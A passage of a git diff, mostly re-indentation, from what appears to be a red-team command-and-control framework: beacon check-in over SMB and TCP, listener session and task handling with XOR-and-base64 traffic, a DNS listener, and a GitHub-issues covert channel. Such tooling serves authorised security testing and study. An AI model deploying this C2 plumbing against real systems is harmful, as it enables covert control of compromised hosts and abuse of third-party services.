while(input.empty()) + { + res=m_clientSmb->receiveData(input); + std::this_thread::sleep_for(std::chrono::milliseconds(50)); + } + if(res) + { + SPDLOG_DEBUG("received input.size {0}", std::to_string(input.size())); - if(!input.empty()) - { - cmdToTasks(input); - } - } - else - { - SPDLOG_DEBUG("Receive failed"); - } - } - else - SPDLOG_DEBUG("Send failed"); + if(!input.empty()) + { + cmdToTasks(input); + } + } + else + { + SPDLOG_DEBUG("Receive failed"); + } + } + else + SPDLOG_DEBUG("Send failed"); - m_clientSmb->closeConnection(); + m_clientSmb->closeConnection(); } diff --git a/beacon/BeaconSmb.hpp b/beacon/BeaconSmb.hpp index 78ced83..727a43f 100644 --- a/beacon/BeaconSmb.hpp +++ b/beacon/BeaconSmb.hpp @@ -5,19 +5,19 @@ namespace PipeHandler { - class Client; + class Client; } class BeaconSmb : public Beacon { public: - BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName); - ~BeaconSmb(); + BeaconSmb(std::string& config, const std::string& ip, const std::string& pipeName); + ~BeaconSmb(); private: - void checkIn(); + void checkIn(); - PipeHandler::Client* m_clientSmb; + PipeHandler::Client* m_clientSmb; }; diff --git a/beacon/BeaconTcp.cpp b/beacon/BeaconTcp.cpp index 1d0ba3a..d704773 100644 --- a/beacon/BeaconTcp.cpp +++ b/beacon/BeaconTcp.cpp @@ -5,21 +5,21 @@ using namespace std; BeaconTcp::BeaconTcp(std::string& config, std::string& ip, int port) - : Beacon() + : Beacon() { - m_ip = ip; + m_ip = ip; m_port = port; - // beacon and modules config + // beacon and modules config initConfig(config); - m_client=new SocketTunnelClient(); + m_client=new SocketTunnelClient(); } BeaconTcp::~BeaconTcp() { - delete m_client; + delete m_client; } @@ -35,7 +35,7 @@ int BeaconTcp::splitInPacket(const std::string& input, std::vector& } if (start < input.length()) - { + { output.push_back(input.substr(start)); } @@ -44,36 +44,36 @@ int BeaconTcp::splitInPacket(const std::string& input, std::vector& void BeaconTcp::checkIn() -{ - int ret = m_client->init(m_ip, m_port); +{ + int ret = m_client->init(m_ip, m_port); - if(ret) - { - std::string output; - taskResultsToCmd(output); + if(ret) + { + std::string output; + taskResultsToCmd(output); - output.append(""); + output.append(""); - std::string input; - int res = m_client->process(output, input); + std::string input; + int res = m_client->process(output, input); - if(res<0) - { - m_client->reset(); - } - else if(!input.empty()) - { - std::vector trames; - splitInPacket(input, trames); + if(res<0) + { + m_client->reset(); + } + else if(!input.empty()) + { + std::vector trames; + splitInPacket(input, trames); - for(int i=0; i& output); + int splitInPacket(const std::string& input, std::vector& output); - SocketTunnelClient* m_client; + SocketTunnelClient* m_client; }; diff --git a/listener/Listener.cpp b/listener/Listener.cpp index 06df6b5..96698f5 100644 --- a/listener/Listener.cpp +++ b/listener/Listener.cpp @@ -76,32 +76,32 @@ spdlog::level::level_enum Listener::resolveLogLevel(const nlohmann::json& global Listener::Listener(const std::string& param1, const std::string& param2, const std::string& type) -{ - m_param1 = param1; - m_param2 = param2; - m_type = type; - m_isPrimary = false; +{ + m_param1 = param1; + m_param2 = param2; + m_type = type; + m_isPrimary = false; - // m_listenerHash is now composed of a UUID and information related to the machine and the listener + // m_listenerHash is now composed of a UUID and information related to the machine and the listener #ifdef __linux__ - char hostname[2048]; - gethostname(hostname, 2048); - m_hostname = hostname; + char hostname[2048]; + gethostname(hostname, 2048); + m_hostname = hostname; #elif _WIN32 - TCHAR infoBuf[INFO_BUFFER_SIZE]; - DWORD bufCharCount = INFO_BUFFER_SIZE; + TCHAR infoBuf[INFO_BUFFER_SIZE]; + DWORD bufCharCount = INFO_BUFFER_SIZE; - // Get and display the name of the computer. - m_hostname = "unknown"; - if( GetComputerName( infoBuf, &bufCharCount ) ) - m_hostname = infoBuf; + // Get and display the name of the computer. + m_hostname = "unknown"; + if( GetComputerName( infoBuf, &bufCharCount ) ) + m_hostname = infoBuf; #endif - // TODO take from config ??? - // decrypt key + // TODO take from config ??? + // decrypt key std::string keyDecrypted(std::begin(_EncryptedKeyTraficEncryption_), std::end(_EncryptedKeyTraficEncryption_)); std::string key(mainKeyConfig); XOR(keyDecrypted, key); @@ -112,25 +112,25 @@ Listener::Listener(const std::string& param1, const std::string& param2, const s const std::string & Listener::getParam1() const { - return m_param1; + return m_param1; } const std::string & Listener::getParam2() const { - return m_param2; + return m_param2; } const std::string & Listener::getType() const { - return m_type; + return m_type; } const std::string & Listener::getListenerHash() const { - return m_listenerHash; + return m_listenerHash; } @@ -142,38 +142,38 @@ std::size_t Listener::getNumberOfSession() const std::shared_ptr Listener::getSessionPtr(int idxSession) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); - if(idxSession ptr = m_sessions[idxSession]; - return ptr; - } - else - return nullptr; + if(idxSession ptr = m_sessions[idxSession]; + return ptr; + } + else + return nullptr; } std::shared_ptr Listener::getSessionPtr(const std::string& beaconHash, const std::string& listenerHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); for(std::size_t idxSession=0; idxSessiongetBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash()) - { - std::shared_ptr ptr = m_sessions[idxSession]; - return ptr; - } - } - return nullptr; + { + if (beaconHash == m_sessions[idxSession]->getBeaconHash() && listenerHash == m_sessions[idxSession]->getListenerHash()) + { + std::shared_ptr ptr = m_sessions[idxSession]; + return ptr; + } + } + return nullptr; } bool Listener::isSessionExist(const std::string& beaconHash, const std::string& listenerHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -189,7 +189,7 @@ bool Listener::isSessionExist(const std::string& beaconHash, const std::string& bool Listener::updateSessionProofOfLife(const std::string& beaconHash, std::string& lastProofOfLife) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -209,8 +209,8 @@ bool Listener::updateSessionProofOfLife(const std::string& beaconHash, std::stri // Returns true if the session was found and the listener was added, false otherwise. bool Listener::addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2) { - // Ensure thread-safe access to the sessions list. - std::lock_guard lock(m_mutex); + // Ensure thread-safe access to the sessions list. + std::lock_guard lock(m_mutex); bool sessionExist = false; @@ -243,7 +243,7 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri bool Listener::rmSessionListener(const std::string& beaconHash, const std::string& listenerHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -269,19 +269,19 @@ bool Listener::rmSessionListener(const std::string& beaconHash, const std::strin std::vector Listener::getSessionListenerInfos() { - std::vector sessionListenerList; - for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) - { - if(!(*it)->isSessionKilled()) - sessionListenerList.insert(sessionListenerList.end(), (*it)->getListener().begin(), (*it)->getListener().end()); - } - return sessionListenerList; + std::vector sessionListenerList; + for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) + { + if(!(*it)->isSessionKilled()) + sessionListenerList.insert(sessionListenerList.end(), (*it)->getListener().begin(), (*it)->getListener().end()); + } + return sessionListenerList; } bool Listener::markSessionKilled(const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -303,13 +303,13 @@ bool Listener::markSessionKilled(const std::string& beaconHash) void Listener::queueTask(const std::string& beaconHash, const C2Message& c2Message) { - addTask(c2Message, beaconHash); + addTask(c2Message, beaconHash); } bool Listener::addTask(const C2Message& task, const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -335,7 +335,7 @@ bool Listener::addTask(const C2Message& task, const std::string& beaconHash) C2Message Listener::getTask(const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); C2Message output; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -353,7 +353,7 @@ C2Message Listener::getTask(const std::string& beaconHash) bool Listener::addTaskResult(const C2Message& taskResult, const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -379,7 +379,7 @@ bool Listener::addTaskResult(const C2Message& taskResult, const std::string& bea C2Message Listener::getTaskResult(const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); C2Message output; for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it ) @@ -397,7 +397,7 @@ C2Message Listener::getTaskResult(const std::string& beaconHash) bool Listener::isSocksSessionExist(const std::string& beaconHash, const std::string& listenerHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool isSessionExist = false; for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it ) @@ -414,7 +414,7 @@ bool Listener::isSocksSessionExist(const std::string& beaconHash, const std::str bool Listener::addSocksTaskResult(const C2Message& taskResult, const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); bool sessionExist = false; for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it ) @@ -440,7 +440,7 @@ bool Listener::addSocksTaskResult(const C2Message& taskResult, const std::string C2Message Listener::getSocksTaskResult(const std::string& beaconHash) { - std::lock_guard lock(m_mutex); + std::lock_guard lock(m_mutex); C2Message output; for(auto it = m_socksSessions.begin() ; it != m_socksSessions.end(); ++it ) @@ -461,36 +461,36 @@ C2Message Listener::getSocksTaskResult(const std::string& beaconHash) // output is the message send by listener to the beacon bool Listener::handleMessages(const std::string& input, std::string& output) { - std::string data = base64_decode(input); - XOR(data, m_key); + std::string data = base64_decode(input); + XOR(data, m_key); - // Mutli Sessions, Multi messages - MultiBundleC2Message multiBundleC2Message; - multiBundleC2Message.ParseFromArray(data.data(), (int)data.size()); + // Mutli Sessions, Multi messages + MultiBundleC2Message multiBundleC2Message; + multiBundleC2Message.ParseFromArray(data.data(), (int)data.size()); - // - // 1) Handle messages comming from beacons - // - // Create taksResult to be display by the TeamServer - for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) - { - // For each session (direct session and childs) - BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + // + // 1) Handle messages comming from beacons + // + // Create taksResult to be display by the TeamServer + for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) + { + // For each session (direct session and childs) + BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); - // Sessions are unique and created from the pair beaconHash / first listenerHash handling the request - // If listenerHash is already filled it means that the session was already handled by an other listener befor this one - std::string beaconHash = bundleC2Message->beaconhash(); - std::string listenerhash = bundleC2Message->listenerhash(); - if(listenerhash.empty()) - listenerhash = getListenerHash(); - bundleC2Message->set_listenerhash(listenerhash); + // Sessions are unique and created from the pair beaconHash / first listenerHash handling the request + // If listenerHash is already filled it means that the session was already handled by an other listener befor this one + std::string beaconHash = bundleC2Message->beaconhash(); + std::string listenerhash = bundleC2Message->listenerhash(); + if(listenerhash.empty()) + listenerhash = getListenerHash(); + bundleC2Message->set_listenerhash(listenerhash); - if(beaconHash.size()!=SizeBeaconHash) - continue; + if(beaconHash.size()!=SizeBeaconHash) + continue; - bool isExist = isSessionExist(beaconHash, listenerhash); + bool isExist = isSessionExist(beaconHash, listenerhash); - // If the session does not exist, create a new one + // If the session does not exist, create a new one if(isExist==false) { // TODO if no info are provided, queu a getInfo cmd @@ -499,41 +499,41 @@ bool Listener::handleMessages(const std::string& input, std::string& output) m_logger->info("Registering new session for beacon {} handled by listener {}", beaconHash, listenerhash); #endif - std::string username = bundleC2Message->username(); - std::string hostname = bundleC2Message->hostname(); - std::string arch = bundleC2Message->arch(); - std::string privilege = bundleC2Message->privilege(); - std::string os = bundleC2Message->os(); - std::string internalIps = bundleC2Message->internalIps(); - std::string processId = bundleC2Message->processId(); - std::string additionalInformation = bundleC2Message->additionalInformation(); + std::string username = bundleC2Message->username(); + std::string hostname = bundleC2Message->hostname(); + std::string arch = bundleC2Message->arch(); + std::string privilege = bundleC2Message->privilege(); + std::string os = bundleC2Message->os(); + std::string internalIps = bundleC2Message->internalIps(); + std::string processId = bundleC2Message->processId(); + std::string additionalInformation = bundleC2Message->additionalInformation(); std::shared_ptr session = std::make_shared(listenerhash, beaconHash, hostname, username, arch, privilege, os); session->setInternalIps(internalIps); session->setProcessId(processId); session->setAdditionalInformation(additionalInformation); m_sessions.push_back(std::move(session)); - } - // If the session already exist, update the information - else - { - std::string lastProofOfLife = bundleC2Message->lastProofOfLife(); + } + // If the session already exist, update the information + else + { + std::string lastProofOfLife = bundleC2Message->lastProofOfLife(); updateSessionProofOfLife(beaconHash, lastProofOfLife); - } + } - // For each message in this session - for (int j = 0; j < bundleC2Message->c2messages_size(); j++) - { - const C2Message& c2Message = bundleC2Message->c2messages(j); + // For each message in this session + for (int j = 0; j < bundleC2Message->c2messages_size(); j++) + { + const C2Message& c2Message = bundleC2Message->c2messages(j); addTaskResult(c2Message, beaconHash); - // Handle instruction that have impact on this Listener - // Here if a beacon is terminated, we need to remove the list of sessions associeted with it. - if(c2Message.instruction()==EndCmd) - { - markSessionKilled(beaconHash); - + // Handle instruction that have impact on this Listener + // Here if a beacon is terminated, we need to remove the list of sessions associeted with it. + if(c2Message.instruction()==EndCmd) + { + markSessionKilled(beaconHash); + std::size_t nbSession = getNumberOfSession(); for(std::size_t kk=0; kk splitedCmd; - std::string delimiter = " "; - splitList(cmd, delimiter, splitedCmd); + addSocksTaskResult(c2Message, beaconHash); + } + // Handle return instruction sent to beacon to start/stop listeners + else if(c2Message.instruction()==ListenerCmd) + { + std::string cmd = c2Message.cmd(); + std::vector splitedCmd; + std::string delimiter = " "; + splitList(cmd, delimiter, splitedCmd); - if(splitedCmd[0]==StartCmd) - { - std::string listenerMetadata = c2Message.data(); - std::string listenerHash = c2Message.returnvalue(); + if(splitedCmd[0]==StartCmd) + { + std::string listenerMetadata = c2Message.data(); + std::string listenerHash = c2Message.returnvalue(); - nlohmann::json parsed; - try - { - parsed = nlohmann::json::parse(listenerMetadata); - std::string type = parsed["1"]; - std::string param1 = parsed["2"]; - std::string param2 = parsed["3"]; + nlohmann::json parsed; + try + { + parsed = nlohmann::json::parse(listenerMetadata); + std::string type = parsed["1"]; + std::string param1 = parsed["2"]; + std::string param2 = parsed["3"]; - addSessionListener(beaconHash, listenerHash, type, param1, param2); - } - catch (...) - { - continue; - } - } - else if(splitedCmd[0]==StopCmd) - { - rmSessionListener(beaconHash, c2Message.returnvalue()); - } - } - // Handle proof of life of listeners - else if(c2Message.instruction()==ListenerPollCmd) - { - std::string listenerMetadata = c2Message.data(); - std::string listenerHash = c2Message.returnvalue(); + addSessionListener(beaconHash, listenerHash, type, param1, param2); + } + catch (...) + { + continue; + } + } + else if(splitedCmd[0]==StopCmd) + { + rmSessionListener(beaconHash, c2Message.returnvalue()); + } + } + // Handle proof of life of listeners + else if(c2Message.instruction()==ListenerPollCmd) + { + std::string listenerMetadata = c2Message.data(); + std::string listenerHash = c2Message.returnvalue(); - nlohmann::json parsed; - try - { - parsed = nlohmann::json::parse(listenerMetadata); - std::string type = parsed["1"]; - std::string param1 = parsed["2"]; - std::string param2 = parsed["3"]; + nlohmann::json parsed; + try + { + parsed = nlohmann::json::parse(listenerMetadata); + std::string type = parsed["1"]; + std::string param1 = parsed["2"]; + std::string param2 = parsed["3"]; - addSessionListener(beaconHash, listenerHash, type, param1, param2); - } - catch (...) - { - continue; - } - } - } - - } + addSessionListener(beaconHash, listenerHash, type, param1, param2); + } + catch (...) + { + continue; + } + } + } + + } - // - // 2) Handle commands to send to Beacons - // - // For every beacons contacting the listener, check if their are tasks to be sent and create a message to send it - bool isTaskToSend=false; - MultiBundleC2Message multiBundleC2MessageRet; - for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) - { - BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); + // + // 2) Handle commands to send to Beacons + // + // For every beacons contacting the listener, check if their are tasks to be sent and create a message to send it + bool isTaskToSend=false; + MultiBundleC2Message multiBundleC2MessageRet; + for (int k = 0; k < multiBundleC2Message.bundlec2messages_size(); k++) + { + BundleC2Message* bundleC2Message = multiBundleC2Message.bundlec2messages(k); - // Sessions are unique and created from the pair beaconHash / listenerHash - // If listenerHash is already filled it means that the session was already handled by other listener befor this one - std::string beaconHash = bundleC2Message->beaconhash(); - if(beaconHash.size()!=SizeBeaconHash) - continue; - - // Look for tasks in the queue for the this beacon - C2Message c2Message = getTask(beaconHash); - if(!c2Message.instruction().empty()) - { - isTaskToSend=true; - BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages(); - bundleC2Message->set_beaconhash(beaconHash); + // Sessions are unique and created from the pair beaconHash / listenerHash + // If listenerHash is already filled it means that the session was already handled by other listener befor this one + std::string beaconHash = bundleC2Message->beaconhash(); + if(beaconHash.size()!=SizeBeaconHash) + continue; + + // Look for tasks in the queue for the this beacon + C2Message c2Message = getTask(beaconHash); + if(!c2Message.instruction().empty()) + { + isTaskToSend=true; + BundleC2Message *bundleC2Message = multiBundleC2MessageRet.add_bundlec2messages(); + bundleC2Message->set_beaconhash(beaconHash); - while(!c2Message.instruction().empty()) - { - C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); - addedC2MessageRet->CopyFrom(c2Message); - c2Message = getTask(beaconHash); - } - } - - } + while(!c2Message.instruction().empty()) + { + C2Message *addedC2MessageRet = bundleC2Message->add_c2messages(); + addedC2MessageRet->CopyFrom(c2Message); + c2Message = getTask(beaconHash); + } + } + + } - data=""; - if(isTaskToSend) - multiBundleC2MessageRet.SerializeToString(&data); + data=""; + if(isTaskToSend) + multiBundleC2MessageRet.SerializeToString(&data); - if (data.empty()) - data = "{}"; + if (data.empty()) + data = "{}"; - XOR(data, m_key); - output = base64_encode(data); + XOR(data, m_key); + output = base64_encode(data); - return isTaskToSend; + return isTaskToSend; } \ No newline at end of file diff --git a/listener/Listener.hpp b/listener/Listener.hpp index c1572a2..bd7363c 100644 --- a/listener/Listener.hpp +++ b/listener/Listener.hpp @@ -21,8 +21,8 @@ class Listener { public: - Listener(const std::string& param1, const std::string& param2, const std::string& type); - virtual ~Listener(){}; + Listener(const std::string& param1, const std::string& param2, const std::string& type); + virtual ~Listener(){}; const std::string & getParam1() const; const std::string & getParam2() const; @@ -34,53 +34,53 @@ public: } std::size_t getNumberOfSession() const; - // Session - std::shared_ptr getSessionPtr(int idxSession); + // Session + std::shared_ptr getSessionPtr(int idxSession); std::shared_ptr getSessionPtr(const std::string& beaconHash, const std::string& listenerHash); bool isSessionExist(const std::string& beaconHash, const std::string& listenerHash); bool updateSessionProofOfLife(const std::string& beaconHash, std::string& lastProofOfLife); bool markSessionKilled(const std::string& beaconhash); - // Session Listener - bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2); - bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash); - std::vector getSessionListenerInfos(); + // Session Listener + bool addSessionListener(const std::string& beaconHash, const std::string& listenerHash, const std::string& type, const std::string& param1, const std::string& param2); + bool rmSessionListener(const std::string& beaconHash, const std::string& listenerHash); + std::vector getSessionListenerInfos(); - // Task & Task Result - void queueTask(const std::string& beaconHash, const C2Message& c2Message); - bool addTask(const C2Message& task, const std::string& beaconHash); + // Task & Task Result + void queueTask(const std::string& beaconHash, const C2Message& c2Message); + bool addTask(const C2Message& task, const std::string& beaconHash); C2Message getTask(const std::string& beaconHash); bool addTaskResult(const C2Message& taskResult, const std::string& beaconHash); C2Message getTaskResult(const std::string& beaconHash); - // SocksSession + // SocksSession bool isSocksSessionExist(const std::string& beaconHash, const std::string& listenerHash); bool addSocksTaskResult(const C2Message& taskResult, const std::string& beaconHash); - C2Message getSocksTaskResult(const std::string& beaconHash); + C2Message getSocksTaskResult(const std::string& beaconHash); - // set the listener as primary (meaning launch from the teamserver) - void setIsPrimary() - { - m_isPrimary=true; - } + // set the listener as primary (meaning launch from the teamserver) + void setIsPrimary() + { + m_isPrimary=true; + } protected: bool execInstruction(std::vector& splitedCmd, C2Message& c2Message); bool handleMessages(const std::string& input, std::string& output); std::string m_key; - std::string m_param1; - std::string m_param2; - std::string m_type; - bool m_isPrimary; + std::string m_param1; + std::string m_param2; + std::string m_type; + bool m_isPrimary; - std::string m_listenerHash; - std::string m_hostname; + std::string m_listenerHash; + std::string m_hostname; - std::string m_metadata; + std::string m_metadata; - std::vector> m_sessions; - std::vector> m_socksSessions; + std::vector> m_sessions; + std::vector> m_socksSessions; #ifdef BUILD_TEAMSERVER std::shared_ptr m_logger; @@ -90,5 +90,5 @@ protected: #endif private: - std::mutex m_mutex; + std::mutex m_mutex; }; diff --git a/listener/ListenerDns.cpp b/listener/ListenerDns.cpp index f36d61a..c35f2ed 100644 --- a/listener/ListenerDns.cpp +++ b/listener/ListenerDns.cpp @@ -14,11 +14,11 @@ ListenerDns::ListenerDns(const std::string& domainToResolve, int port, const nlo m_listenerHash = random_string(SizeListenerHash); - json metadata; + json metadata; metadata["1"] = ListenerDnsType; metadata["2"] = domainToResolve; metadata["3"] = std::to_string(port); - m_metadata = metadata.dump(); + m_metadata = metadata.dump(); #ifdef BUILD_TEAMSERVER // Logger @@ -69,12 +69,12 @@ ListenerDns::~ListenerDns() void ListenerDns::launchDnsListener() { - try + try { - while(1) - { - if(m_stopThread) - return; + while(1) + { + if(m_stopThread) + return; auto [clientId, input] = m_serverDns->getAvailableMessage(); @@ -96,15 +96,15 @@ void ListenerDns::launchDnsListener() if(!output.empty()) m_serverDns->setMessageToSend(output, clientId); } - - std::this_thread::sleep_for(std::chrono::milliseconds(1000)); - } - } + + std::this_thread::sleep_for(std::chrono::milliseconds(1000)); + } + } catch (...) { return; } - return; + return; } diff --git a/listener/ListenerDns.hpp b/listener/ListenerDns.hpp index d2efa4f..bddec7d 100644 --- a/listener/ListenerDns.hpp +++ b/listener/ListenerDns.hpp @@ -5,7 +5,7 @@ namespace dns { - class Server; + class Server; } class ListenerDns : public Listener @@ -13,13 +13,13 @@ class ListenerDns : public Listener public: ListenerDns(const std::string& domainToResolve, int port, const nlohmann::json& config = nlohmann::json::object()); - ~ListenerDns(); + ~ListenerDns(); private: - void launchDnsListener(); + void launchDnsListener(); - dns::Server* m_serverDns; + dns::Server* m_serverDns; - bool m_stopThread; - std::unique_ptr m_dnsListener; + bool m_stopThread; + std::unique_ptr m_dnsListener; }; diff --git a/listener/ListenerGithub.cpp b/listener/ListenerGithub.cpp index b71cbe3..d8ed0e8 100644 --- a/listener/ListenerGithub.cpp +++ b/listener/ListenerGithub.cpp @@ -10,16 +10,16 @@ ListenerGithub::ListenerGithub(const std::string& project, const std::string& to , m_project(project) , m_token(token) { - m_listenerHash = random_string(SizeListenerHash); + m_listenerHash = random_string(SizeListenerHash); - json metadata; + json metadata; metadata["1"] = ListenerGithubType; metadata["2"] = project; metadata["3"] = token.substr(0,10); - m_metadata = metadata.dump(); + m_metadata = metadata.dump(); - m_isRunning=true; - this->m_githubFetcher = std::make_unique(&ListenerGithub::checkGithubIssues, this); + m_isRunning=true; + this->m_githubFetcher = std::make_unique(&ListenerGithub::checkGithubIssues, this); #ifdef BUILD_TEAMSERVER // Logger @@ -44,8 +44,8 @@ ListenerGithub::ListenerGithub(const std::string& project, const std::string& to ListenerGithub::~ListenerGithub() { - m_isRunning=false; - m_githubFetcher->join(); + m_isRunning=false; + m_githubFetcher->join(); #ifdef BUILD_TEAMSERVER if(m_logger) @@ -56,240 +56,240 @@ ListenerGithub::~ListenerGithub() void ListenerGithub::checkGithubIssues() { - while(m_isRunning) - { - std::string url = "https://api.github.com"; - httplib::Client cli(url); + while(m_isRunning) + { + std::string url = "https://api.github.com"; + httplib::Client cli(url); - std::string token = "token "; - token+=m_token; + std::string token = "token "; + token+=m_token; - httplib::Headers headers = { - { "Accept", "application/vnd.github+json" }, - { "Authorization", token }, - { "Cookie", "logged_in=no" } - }; + httplib::Headers headers = { + { "Accept", "application/vnd.github+json" }, + { "Authorization", token }, + { "Cookie", "logged_in=no" } + }; - // get list of issues - std::string endpoint = "/repos/"; - endpoint += m_project; - endpoint += "/issues"; - auto response = cli.Get(endpoint, headers); + // get list of issues + std::string endpoint = "/repos/"; + endpoint += m_project; + endpoint += "/issues"; + auto response = cli.Get(endpoint, headers); - auto err = response.error(); - if(err!=httplib::Error::Success) - { + auto err = response.error(); + if(err!=httplib::Error::Success) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Http client Get {0}", httplib::to_string(err)); + m_logger->error("Http client Get {0}", httplib::to_string(err)); #endif - continue; - } + continue; + } - if(response->status!=200 && response->status!=201) - { + if(response->status!=200 && response->status!=201) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Error with the ListenerGithub: {0}", response->body); + m_logger->error("Error with the ListenerGithub: {0}", response->body); #endif - continue; - } + continue; + } - if(!response->body.empty()) - { - nlohmann::json my_json = json::parse(response->body); + if(!response->body.empty()) + { + nlohmann::json my_json = json::parse(response->body); - // for every issue in the list - for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it) - { - std::string title = (*it)["title"]; - std::string body = (*it)["body"]; - int number = (*it)["number"]; - int nbComments = (*it)["comments"]; + // for every issue in the list + for (nlohmann::json::iterator it = my_json.begin(); it != my_json.end(); ++it) + { + std::string title = (*it)["title"]; + std::string body = (*it)["body"]; + int number = (*it)["number"]; + int nbComments = (*it)["comments"]; - if(nbComments!=0) - { + if(nbComments!=0) + { #ifdef BUILD_TEAMSERVER - m_logger->debug("Issue with comments: {0}", std::to_string(number)); + m_logger->debug("Issue with comments: {0}", std::to_string(number)); #endif - } + } - if(title.rfind("ResponseC2: ", 0) == 0) - { - std::string marker = "ResponseC2: "; - std::size_t pos = title.find(marker); - if (pos == std::string::npos) - { - continue; - } - pos += marker.length(); - std::string beaconHash = title.substr(pos); + if(title.rfind("ResponseC2: ", 0) == 0) + { + std::string marker = "ResponseC2: "; + std::size_t pos = title.find(marker); + if (pos == std::string::npos) + { + continue; + } + pos += marker.length(); + std::string beaconHash = title.substr(pos); - std::string res; - HandleCheckIn(body, res); + std::string res; + HandleCheckIn(body, res); - // generate the response for response who got content - if(res.size()>4) - { - std::string reponseTitle = "RequestC2: "; - reponseTitle+=beaconHash; + // generate the response for response who got content + if(res.size()>4) + { + std::string reponseTitle = "RequestC2: "; + reponseTitle+=beaconHash; - // body too long need to split it - int maxChunkSize = 65000; - if(res.size()>=maxChunkSize) - { - std::vector chunks; - for (std::size_t i = 0; i < res.size(); i += maxChunkSize) - { - chunks.push_back(res.substr(i, maxChunkSize)); - } + // body too long need to split it + int maxChunkSize = 65000; + if(res.size()>=maxChunkSize) + { + std::vector chunks; + for (std::size_t i = 0; i < res.size(); i += maxChunkSize) + { + chunks.push_back(res.substr(i, maxChunkSize)); + } - nlohmann::json responseData = { - {"title", reponseTitle}, - {"body", chunks[0]}, - }; + nlohmann::json responseData = { + {"title", reponseTitle}, + {"body", chunks[0]}, + }; - std::string data = responseData.dump(); + std::string data = responseData.dump(); - std::string contentType = "application/json"; - auto response = cli.Post(endpoint, headers, data, contentType); + std::string contentType = "application/json"; + auto response = cli.Post(endpoint, headers, data, contentType); - err = response.error(); - if(err!=httplib::Error::Success) - { + err = response.error(); + if(err!=httplib::Error::Success) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Http client Post Issue {0}", httplib::to_string(err)); + m_logger->error("Http client Post Issue {0}", httplib::to_string(err)); #endif - continue; - } + continue; + } #ifdef BUILD_TEAMSERVER - m_logger->trace("Issue created {0}", response->status); + m_logger->trace("Issue created {0}", response->status); #endif - - if(response->status!=200 && response->status!=201) - { + + if(response->status!=200 && response->status!=201) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Error with the ListenerGithub: {0}", response->body); + m_logger->error("Error with the ListenerGithub: {0}", response->body); #endif - continue; - } + continue; + } - nlohmann::json my_json = nlohmann::json::parse(response->body); - int number = my_json["number"]; - - for (std::size_t i = 1; i < chunks.size(); i++) - { - nlohmann::json responseData = { - {"body", chunks[i]}, - }; + nlohmann::json my_json = nlohmann::json::parse(response->body); + int number = my_json["number"]; + + for (std::size_t i = 1; i < chunks.size(); i++) + { + nlohmann::json responseData = { + {"body", chunks[i]}, + }; - std::string data = responseData.dump(); + std::string data = responseData.dump(); - std::string contentType = "application/json"; - std::string issueEndpoint = "/repos/"; - issueEndpoint += m_project; - issueEndpoint += "/issues/"; - issueEndpoint += std::to_string(number); - issueEndpoint += "/comments"; - auto response = cli.Post(issueEndpoint, headers, data, contentType); + std::string contentType = "application/json"; + std::string issueEndpoint = "/repos/"; + issueEndpoint += m_project; + issueEndpoint += "/issues/"; + issueEndpoint += std::to_string(number); + issueEndpoint += "/comments"; + auto response = cli.Post(issueEndpoint, headers, data, contentType); - err = response.error(); - if(err!=httplib::Error::Success) - { + err = response.error(); + if(err!=httplib::Error::Success) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Http client Post Comments {0}", httplib::to_string(err)); + m_logger->error("Http client Post Comments {0}", httplib::to_string(err)); #endif - continue; - } + continue; + } - if(response->status!=200 && response->status!=201) - { + if(response->status!=200 && response->status!=201) + { #ifdef BUILD_TEAMSERVER - m_logger->error("Error with the ListenerGithub: {0}", response->body); + m_logger->error("Error with the ListenerGithub: {0}", response->body); #endif - continue; - } - } - } - else - { - nlohmann::json responseData = { 